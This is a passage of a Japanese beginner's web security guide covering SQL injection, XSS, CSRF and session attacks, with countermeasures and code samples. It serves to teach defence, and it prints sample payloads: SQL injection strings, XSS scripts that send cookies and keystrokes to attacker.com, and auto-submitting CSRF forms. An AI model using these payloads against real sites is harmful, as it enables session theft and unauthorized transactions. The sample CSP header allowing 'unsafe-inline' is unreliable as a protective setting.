&lt;li&gt;&lt;a href="#%E3%82%B3%E3%83%B3%E3%83%86%E3%83%8A%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3"&gt;コンテナセキュリティ&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#%E3%82%AF%E3%83%A9%E3%82%A6%E3%83%89%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E3%81%AE%E8%A8%AD%E5%AE%9A%E3%83%9F%E3%82%B9"&gt;クラウドセキュリティの設定ミス&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#%E3%82%A4%E3%83%B3%E3%82%B7%E3%83%87%E3%83%B3%E3%83%88%E5%AF%BE%E5%BF%9C"&gt;インシデント対応&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#%E3%82%BB%E3%82%AD%E3%83%A5%E3%83%AA%E3%83%86%E3%82%A3%E7%9B%A3%E8%A6%96%E3%81%A8siem"&gt;セキュリティ監視とSIEM&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;リファレンス編&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href="#%E3%82%AF%E3%82%A4%E3%83%83%E3%82%AF%E3%83%AA%E3%83%95%E3%82%A1%E3%83%AC%E3%83%B3%E3%82%B9-%E5%B0%82%E9%96%80%E5%AE%B6%E5%90%91%E3%81%91"&gt;クイックリファレンス&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="#%E3%83%81%E3%82%A7%E3%83%83%E3%82%AF%E3%83%AA%E3%82%B9%E3%83%88"&gt;チェックリスト&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;


&lt;h2&gt;基礎知識&lt;/h2&gt;
&lt;h3&gt;WEBセキュリティとは&lt;/h3&gt;
&lt;p&gt;WEBセキュリティとは、WebアプリケーションやWebサービスにおける情報セキュリティの総称です。インターネット経由でアクセス可能なアプリケーションは、世界中から攻撃の標的となるため、多層的な防御策が必要です。&lt;/p&gt;
&lt;h3&gt;なぜWEBセキュリティが重要なのか？&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;インターネットは誰でもアクセス可能&lt;/strong&gt;: 悪意のある攻撃者も含めて、世界中からアクセスされる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;データの価値&lt;/strong&gt;: 個人情報、顧客データ、機密情報が漏洩すると大きな被害&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ビジネスへの影響&lt;/strong&gt;: セキュリティインシデントは企業の信頼を失う&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;法的責任&lt;/strong&gt;: 個人情報保護法などの法律により、適切な対策が義務付けられている&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;セキュリティの基本原則&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;多層防御&lt;/strong&gt;: 単一の対策に依存せず、複数の対策を重ねる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最小権限の原則&lt;/strong&gt;: 必要最小限の権限のみを付与&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;防御の深度&lt;/strong&gt;: 複数の防御層を設けることで、1つの層が突破されても次の層で防御&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;継続的な改善&lt;/strong&gt;: セキュリティは一度設定すれば終わりではなく、継続的に改善が必要&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;学習パス（初心者向け）&lt;/h2&gt;
&lt;h3&gt;ステップ1: 基礎を理解する（1-2週間）&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;WEBセキュリティの基本概念&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;WEBセキュリティとは何か&lt;/li&gt;
&lt;li&gt;なぜ重要なのか&lt;/li&gt;
&lt;li&gt;セキュリティの基本原則&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;主要な脆弱性の概要&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;SQLインジェクション（最も重要）&lt;/li&gt;
&lt;li&gt;XSS（クロスサイトスクリプティング）&lt;/li&gt;
&lt;li&gt;CSRF（クロスサイトリクエストフォージェリ）&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;ステップ2: 実践的な理解（2-4週間）&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;各脆弱性の詳細学習&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;攻撃の仕組みを理解&lt;/li&gt;
&lt;li&gt;実際の事例を確認&lt;/li&gt;
&lt;li&gt;対策方法を学ぶ&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;コード例の確認&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;脆弱なコードと安全なコードの比較&lt;/li&gt;
&lt;li&gt;実装例を読む（まだ実装しなくて良い）&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;ステップ3: 実装とテスト（4-8週間）&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;セキュアコーディングの実践&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;入力値検証の実装&lt;/li&gt;
&lt;li&gt;認証・認可の実装&lt;/li&gt;
&lt;li&gt;エラーハンドリングの実装&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;脆弱性診断の学習&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;基本的なツールの使い方&lt;/li&gt;
&lt;li&gt;自分のコードをテストする&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;ステップ4: 応用と継続的学習（継続）&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;高度なトピック&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;その他の脆弱性&lt;/li&gt;
&lt;li&gt;セキュリティヘッダー&lt;/li&gt;
&lt;li&gt;インシデント対応&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;継続的な学習&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;最新の脅威情報を追う&lt;/li&gt;
&lt;li&gt;定期的な脆弱性診断&lt;/li&gt;
&lt;li&gt;セキュリティコミュニティへの参加&lt;/li&gt;
&lt;/ol&gt;


&lt;h2&gt;用語集&lt;/h2&gt;
&lt;h3&gt;基本用語&lt;/h3&gt;
&lt;h4&gt;脆弱性（Vulnerability）&lt;/h4&gt;
&lt;p&gt;システムやアプリケーションに存在するセキュリティ上の欠陥。攻撃者が悪用する可能性がある。&lt;/p&gt;
&lt;h4&gt;エクスプロイト（Exploit）&lt;/h4&gt;
&lt;p&gt;脆弱性を悪用して攻撃を実行するコードや手法。&lt;/p&gt;
&lt;h4&gt;ペイロード（Payload）&lt;/h4&gt;
&lt;p&gt;攻撃の実際の動作を実行する部分。マルウェアの本体や、実行される悪意のあるコード。&lt;/p&gt;
&lt;h4&gt;インジェクション（Injection）&lt;/h4&gt;
&lt;p&gt;ユーザー入力がコードとして実行される脆弱性。SQLインジェクション、コマンドインジェクションなど。&lt;/p&gt;
&lt;h4&gt;エスケープ（Escape）&lt;/h4&gt;
&lt;p&gt;特殊文字を安全な形式に変換すること。例: &amp;lt; → &amp;amp;lt;&lt;/p&gt;
&lt;h4&gt;サニタイゼーション（Sanitization）&lt;/h4&gt;
&lt;p&gt;データを安全な形式に変換・除去すること。危険な文字やコードを削除する。&lt;/p&gt;
&lt;h4&gt;認証（Authentication）&lt;/h4&gt;
&lt;p&gt;ユーザーが本人であることを確認すること。「誰か」を確認する。&lt;/p&gt;
&lt;h4&gt;認可（Authorization）&lt;/h4&gt;
&lt;p&gt;ユーザーが特定のリソースにアクセスする権限があるかを確認すること。「何ができるか」を確認する。&lt;/p&gt;
&lt;h4&gt;セッション（Session）&lt;/h4&gt;
&lt;p&gt;ユーザーがログインしてからログアウトするまでの一連の操作。サーバー側で管理される状態。&lt;/p&gt;
&lt;h4&gt;トークン（Token）&lt;/h4&gt;
&lt;p&gt;認証や認可に使用される一時的な識別子。セッションID、CSRFトークンなど。&lt;/p&gt;
&lt;h3&gt;技術用語&lt;/h3&gt;
&lt;h4&gt;プリペアドステートメント（Prepared Statement）&lt;/h4&gt;
&lt;p&gt;SQL文の構造とデータを分離して実行する方法。SQLインジェクションを防ぐ。&lt;/p&gt;
&lt;h4&gt;CSP（Content Security Policy）&lt;/h4&gt;
&lt;p&gt;ブラウザが読み込むことができるリソースを制限するセキュリティポリシー。&lt;/p&gt;
&lt;h4&gt;WAF（Web Application Firewall）&lt;/h4&gt;
&lt;p&gt;Webアプリケーションの前に配置され、HTTP/HTTPSトラフィックを監視・フィルタリングするシステム。&lt;/p&gt;
&lt;h4&gt;SIEM（Security Information and Event Management）&lt;/h4&gt;
&lt;p&gt;セキュリティ情報イベント管理システム。ログを集約・分析して異常を検知する。&lt;/p&gt;


&lt;h2&gt;主要な脆弱性と攻撃手法&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;初心者向けヒント&lt;/strong&gt;: このセクションでは、最も重要な脆弱性から順に説明しています。最初は「SQLインジェクション」「XSS」「CSRF」の3つを重点的に学習してください。&lt;/p&gt;
&lt;h3&gt;SQLインジェクション（SQL Injection）&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;重要度&lt;/strong&gt;: ★★★★★（最高） | &lt;strong&gt;難易度&lt;/strong&gt;: ★★★（中級） | &lt;strong&gt;学習優先度&lt;/strong&gt;: 最優先&lt;/p&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;Webアプリケーションのデータベース操作時に、ユーザーからの入力を適切に処理しないことで、悪意あるSQL文が実行されてしまう脆弱性です。&lt;/p&gt;
&lt;h4&gt;初心者向け説明&lt;/h4&gt;
&lt;p&gt;データベースに情報を保存・取得する際に使用する「SQL」という言語があります。通常、ユーザーが入力した内容は「データ」として扱われますが、適切に処理しないと「命令」として実行されてしまうことがあります。これがSQLインジェクションです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;例え&lt;/strong&gt;: 書類の記入欄に「氏名」と書いてあるのに、そこに「この書類を破棄してください」という命令を書いてしまうようなものです。&lt;/p&gt;
&lt;h4&gt;攻撃の仕組み&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;基本的な攻撃例&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;通常の入力: username = "admin"&lt;/li&gt;
&lt;li&gt;悪意のある入力: username = "admin' OR '1'='1"&lt;/li&gt;
&lt;li&gt;生成されるSQL: SELECT * FROM users WHERE username = 'admin' OR '1'='1'&lt;/li&gt;
&lt;li&gt;結果: すべてのユーザー情報が取得される&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;UNION句を利用した攻撃&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;入力: ' UNION SELECT username, password FROM users--&lt;/li&gt;
&lt;li&gt;複数のテーブルからデータを結合して取得&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ブール型ブラインドSQLインジェクション&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;真偽値を返す条件分岐を利用して、データを1ビットずつ推測&lt;/li&gt;
&lt;li&gt;時間差攻撃（Time-based）: SLEEP()関数などを利用して応答時間から情報を推測&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;エラーベースSQLインジェクション&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;データベースのエラーメッセージから情報を漏洩させる&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;影響範囲&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;データベース全体の情報漏洩&lt;/strong&gt;: 顧客情報、個人情報、機密データなど&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;データの改ざん・削除&lt;/strong&gt;: データベースの内容を変更または削除&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;認証回避&lt;/strong&gt;: パスワードなしでログイン可能になる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;権限昇格&lt;/strong&gt;: 管理者権限の取得&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ファイルシステムへのアクセス&lt;/strong&gt;: データベースの機能を利用したファイル読み書き（例: MySQLのLOAD_FILE()）&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;プリペアドステートメント（Prepared Statement）の使用&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;パラメータ化クエリを使用し、入力値をSQL文の構造と分離&lt;/li&gt;
&lt;li&gt;例（Java）:&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = connection.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;例（PHP）:&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;$stmt = $pdo-&amp;gt;prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt-&amp;gt;execute([$username, $password]);&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;入力値のバリデーション&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;ホワイトリスト方式: 許可された文字のみを受け付ける&lt;/li&gt;
&lt;li&gt;ブラックリスト方式: 危険な文字を拒否（推奨されない）&lt;/li&gt;
&lt;li&gt;データ型の検証: 数値型の場合は数値のみを受け付ける&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;最小権限の原則&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;データベース接続ユーザーに必要最小限の権限のみを付与&lt;/li&gt;
&lt;li&gt;SELECT権限のみが必要な処理では、INSERT/UPDATE/DELETE権限を与えない&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;エラーメッセージの制御&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;詳細なエラーメッセージをユーザーに表示しない&lt;/li&gt;
&lt;li&gt;ログに記録し、ユーザーには汎用的なエラーメッセージを表示&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;ストアドプロシージャの活用&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;SQL文をアプリケーションコードから分離&lt;/li&gt;
&lt;li&gt;パラメータの型チェックが行われる&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Webアプリケーションファイアウォール（WAF）の導入&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;SQLインジェクション攻撃のパターンを検知してブロック&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;実際の事例&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Sony PlayStation Network（2011年）&lt;/strong&gt;: SQLインジェクションを利用して7,700万人の個人情報が漏洩&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Heartland Payment Systems（2008年）&lt;/strong&gt;: SQLインジェクションにより1億3,000万件のクレジットカード情報が漏洩&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;クロスサイトスクリプティング（XSS: Cross-Site Scripting）&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;攻撃者が悪意あるスクリプトをWebページに埋め込み、閲覧者のブラウザ上で実行させる攻撃手法です。&lt;/p&gt;
&lt;h4&gt;XSSの種類&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;反射型XSS（Reflected XSS）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特徴&lt;/strong&gt;: ユーザーの入力が即座にページに反映される&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;攻撃の流れ&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;攻撃者が悪意のあるURLを作成: http://example.com/search?q=&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;&lt;/li&gt;
&lt;li&gt;被害者にURLを送信（メール、SNS等）&lt;/li&gt;
&lt;li&gt;被害者がURLをクリック&lt;/li&gt;
&lt;li&gt;サーバーが入力値をそのまま返す&lt;/li&gt;
&lt;li&gt;ブラウザがスクリプトを実行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;影響&lt;/strong&gt;: セッションクッキーの盗難、フィッシング詐欺への誘導&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;格納型XSS（Stored XSS / Persistent XSS）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特徴&lt;/strong&gt;: 悪意のあるスクリプトがデータベースに保存され、複数のユーザーに影響&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;攻撃の流れ&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;攻撃者がコメント欄や掲示板に悪意のあるスクリプトを投稿&lt;/li&gt;
&lt;li&gt;スクリプトがデータベースに保存される&lt;/li&gt;
&lt;li&gt;他のユーザーがそのページを閲覧&lt;/li&gt;
&lt;li&gt;保存されたスクリプトが実行される&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;影響&lt;/strong&gt;: より深刻。多くのユーザーが影響を受ける&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;DOMベースXSS（DOM-based XSS）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特徴&lt;/strong&gt;: クライアント側のJavaScriptでDOMを操作する際に発生&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;攻撃の流れ&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;悪意のあるURLのフラグメント（#以降）にスクリプトを含める&lt;/li&gt;
&lt;li&gt;JavaScriptがlocation.hashなどから値を読み取り&lt;/li&gt;
&lt;li&gt;そのままDOMに反映してスクリプトが実行される&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特徴&lt;/strong&gt;: サーバー側では検出が困難&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;攻撃の具体例&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;セッションクッキーの盗難&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&amp;lt;script&amp;gt;
document.location='http://attacker.com/steal.php?cookie='+document.cookie;
&amp;lt;/script&amp;gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;キーロガーの埋め込み&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&amp;lt;script&amp;gt;
document.onkeypress = function(e) {
    fetch('http://attacker.com/keylog.php?key=' + e.key);
}
&amp;lt;/script&amp;gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;偽のログインフォームの表示&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&amp;lt;script&amp;gt;
document.body.innerHTML = '&amp;lt;form action="http://attacker.com/steal.php"&amp;gt;...&amp;lt;/form&amp;gt;';
&amp;lt;/script&amp;gt;&lt;/pre&gt;
&lt;h4&gt;影響範囲&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;セッションハイジャック&lt;/strong&gt;: クッキーを盗んでユーザーになりすます&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;個人情報の窃取&lt;/strong&gt;: フォーム入力内容の盗み取り&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;マルウェアの配布&lt;/strong&gt;: 悪意のあるサイトへのリダイレクト&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;偽ページの表示&lt;/strong&gt;: フィッシング詐欺の実行&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ページの改ざん&lt;/strong&gt;: コンテンツの書き換え&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;出力のエスケープ&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;HTMLコンテキスト: &amp;lt; → &amp;amp;lt;, &amp;gt; → &amp;amp;gt;, &amp;amp; → &amp;amp;amp;, " → &amp;amp;quot;, ' → &amp;amp;#x27;&lt;/li&gt;
&lt;li&gt;JavaScriptコンテキスト: \ でエスケープ、JSON形式で出力&lt;/li&gt;
&lt;li&gt;URLコンテキスト: URLエンコード&lt;/li&gt;
&lt;li&gt;CSSコンテキスト: エスケープまたは検証&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;コンテンツセキュリティポリシー（CSP: Content Security Policy）&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;HTTPヘッダーで設定&lt;/li&gt;
&lt;li&gt;例: Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'&lt;/li&gt;
&lt;li&gt;インラインスクリプトの実行を制限&lt;/li&gt;
&lt;li&gt;外部スクリプトの読み込み元を制限&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;入力値の検証とサニタイゼーション&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;許可された文字のみを受け付ける（ホワイトリスト方式）&lt;/li&gt;
&lt;li&gt;HTMLタグの除去（例: strip_tags()関数）&lt;/li&gt;
&lt;li&gt;リッチテキストエディタの場合は、許可されたタグのみを許可&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;HTTPOnly属性の設定&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;クッキーにHttpOnly属性を設定し、JavaScriptからアクセス不可にする&lt;/li&gt;
&lt;li&gt;例: Set-Cookie: sessionid=xxx; HttpOnly; Secure&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;XSS保護機能の活用&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;ブラウザのXSS保護機能（X-XSS-Protectionヘッダー）&lt;/li&gt;
&lt;li&gt;フレームワークのXSS保護機能（例: Django、Rails）&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;実際の事例&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;MySpace（2005年）&lt;/strong&gt;: SamyワームがXSSを利用して100万人以上のユーザーに拡散&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Twitter（2010年）&lt;/strong&gt;: XSSにより、ユーザーが自動的にツイートを投稿する攻撃&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;クロスサイトリクエストフォージェリ（CSRF: Cross-Site Request Forgery）&lt;/h3&gt;
&lt;h4&gt;定義&lt;/h4&gt;
&lt;p&gt;ユーザーが意図しないリクエストを、ログイン中のWebアプリケーションに送信させる攻撃手法です。&lt;/p&gt;
&lt;h4&gt;攻撃の仕組み&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;基本的な攻撃例&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;ユーザーが銀行サイト（bank.com）にログイン&lt;/li&gt;
&lt;li&gt;別タブで悪意のあるサイト（evil.com）を開く&lt;/li&gt;
&lt;li&gt;evil.comのページに以下のコードが埋め込まれている:&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&amp;lt;img src="http://bank.com/transfer?to=attacker&amp;amp;amount=10000"&amp;gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;ブラウザが自動的にリクエストを送信&lt;/li&gt;
&lt;li&gt;ユーザーが意図しない送金が実行される&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;フォームを使った攻撃&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&amp;lt;form action="http://bank.com/transfer" method="POST" id="evil"&amp;gt;
  &amp;lt;input type="hidden" name="to" value="attacker"&amp;gt;
  &amp;lt;input type="hidden" name="amount" value="10000"&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;script&amp;gt;document.getElementById('evil').submit();&amp;lt;/script&amp;gt;&lt;/pre&gt;
&lt;h4&gt;影響範囲&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;意図しない操作の実行&lt;/strong&gt;: 送金、パスワード変更、データ削除など&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;アカウントの乗っ取り&lt;/strong&gt;: メールアドレスやパスワードの変更&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;データの改ざん&lt;/strong&gt;: プロフィール情報の変更&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;対策方法&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;CSRFトークンの使用&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;セッションごとにランダムなトークンを生成&lt;/li&gt;
&lt;li&gt;フォームにトークンを埋め込み&lt;/li&gt;
&lt;li&gt;リクエスト時にトークンを検証&lt;/li&gt;
&lt;li&gt;例:&lt;/li&gt;
&lt;/ol&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&amp;lt;form method="POST"&amp;gt;
  &amp;lt;input type="hidden" name="csrf_token" value="random_token_12345"&amp;gt;
  ...
&amp;lt;/form&amp;gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;SameSite属性の設定&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;クッキーにSameSite=StrictまたはSameSite=Laxを設定&lt;/li&gt;
&lt;li&gt;クロスサイトリクエスト時にクッキーを送信しない&lt;/li&gt;
&lt;li&gt;例: Set-Cookie: sessionid=xxx; SameSite=Strict&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;リファラーの検証&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;HTTPリファラーヘッダーを検証&lt;/li&gt;
&lt;li&gt;同一オリジンからのリクエストのみ許可&lt;/li&gt;
&lt;li&gt;ただし、リファラーが送られない場合があるため、補助的な対策&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;二段階認証の導入&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;重要な操作には追加の認証を要求&lt;/li&gt;
&lt;li&gt;パスワード再入力、SMS認証など&lt;/li&gt;
&lt;/ol&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;カスタムヘッダーの検証&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;X-Requested-Withヘッダーなどのカスタムヘッダーを検証&lt;/li&gt;
&lt;li&gt;XMLHttpRequestで自動的に送信される&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;実際の事例&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Gmail（2007年）&lt;/strong&gt;: CSRFにより、フィルター設定を変更してメールを転送する攻撃&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;セッション管理の脆弱性&lt;/h3&gt;
&lt;h4&gt;セッションハイジャック&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: 他者のセッションIDを盗んで、そのユーザーになりすます攻撃&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;原因&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;セッションIDがURLに含まれる（URLに露出）&lt;/li&gt;
&lt;li&gt;セッションIDが固定される（セッション固定化攻撃）&lt;/li&gt;
&lt;li&gt;セッションIDが推測可能&lt;/li&gt;
&lt;li&gt;セッションIDが暗号化されていない通信で送信される&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;対策&lt;/strong&gt;:&lt;/li&gt;
&lt;li&gt;セッションIDをクッキーに保存（URLに含めない）&lt;/li&gt;
&lt;li&gt;セッションIDを十分に長く、ランダムに生成&lt;/li&gt;
&lt;li&gt;HTTPS通信を強制&lt;/li&gt;
&lt;li&gt;セッションタイムアウトの設定&lt;/li&gt;
&lt;li&gt;ログイン時のセッションID再生成&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;セッション固定化攻撃（Session Fixation）&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;定義&lt;/strong&gt;: 攻撃者が事前に取得したセッションIDを、被害者に使用させる攻撃&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;攻撃の流れ&lt;/strong&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;攻撃者がセッションIDを取得&lt;/li&gt;
&lt;li&gt;被害者にそのセッションIDを使用させる（URLに含めるなど）&lt;/li&gt;
&lt;li&gt;被害者がログイン&lt;/li&gt;
&lt;li&gt;攻撃者が同じセッションIDでログイン済みセッションにアクセス&lt;/li&gt;
